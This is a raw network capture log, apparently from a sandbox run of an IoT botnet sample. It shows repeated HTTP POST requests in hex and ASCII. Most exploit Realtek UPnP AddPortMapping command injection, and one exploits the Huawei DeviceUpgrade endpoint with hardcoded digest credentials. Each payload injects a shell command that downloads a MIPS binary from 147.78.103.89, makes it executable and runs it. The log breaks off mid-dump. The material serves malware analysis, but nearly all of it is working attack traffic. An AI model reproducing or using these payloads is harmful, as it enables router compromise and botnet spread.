                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      184192.168.2.154150645.43.229.1652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:22.441620111 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      185192.168.2.1542012156.77.134.5237215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:24.877352953 CET834OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      186192.168.2.155504891.235.64.7152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:25.845936060 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:26.934519053 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:28.214454889 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:30.934326887 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      187192.168.2.155147445.192.222.21052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:26.016465902 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 